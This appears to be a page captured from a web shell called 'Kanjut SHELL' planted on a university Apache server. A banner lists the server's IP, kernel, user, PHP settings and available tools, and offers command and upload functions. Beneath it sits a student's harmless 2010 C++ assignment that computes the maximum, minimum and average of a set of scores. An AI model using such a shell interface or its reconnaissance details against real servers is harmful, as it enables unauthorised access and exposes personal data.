Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.141.32.53
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jcwhiley/assignment5.cpp
//
// CS112 CS 1 Assignment 5 
// Due: Wednesday, November 3, 2010
//
// File Name: assignment5.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ assignment5.cpp
// Run: ./a.out < in5.txt
//
// Goal: The program will read an unknown set of scores and output their
//       maximum, minimum, and average (to one decianl place.) The program
//       will allow the user to run multiple times.
//

#include <iostream>
#include <iomanip>

using namespace std;

int main()
{
        int n;
        int sum = 0;
        int min , max;
        int counter = 0;

	cout << fixed << showpoint << setprecision(1) << endl;

	cin >> n;

	min = n;
	max = n;
	
        while(cin)
        {
                if(n < min)     min = n;

                if(n > max)     max = n;

                counter ++;
                sum = sum + n;

                cin >> n;
        }

        cout << "The maximum score is: " << max << endl;
        cout << "The minimum score is: " << min << endl;
        cout << "The average is: " << 1.0*sum/counter  << endl;

        cout << "\n\nHappy now?\n\n";

        return 0;
}

Stv3n404 - 2023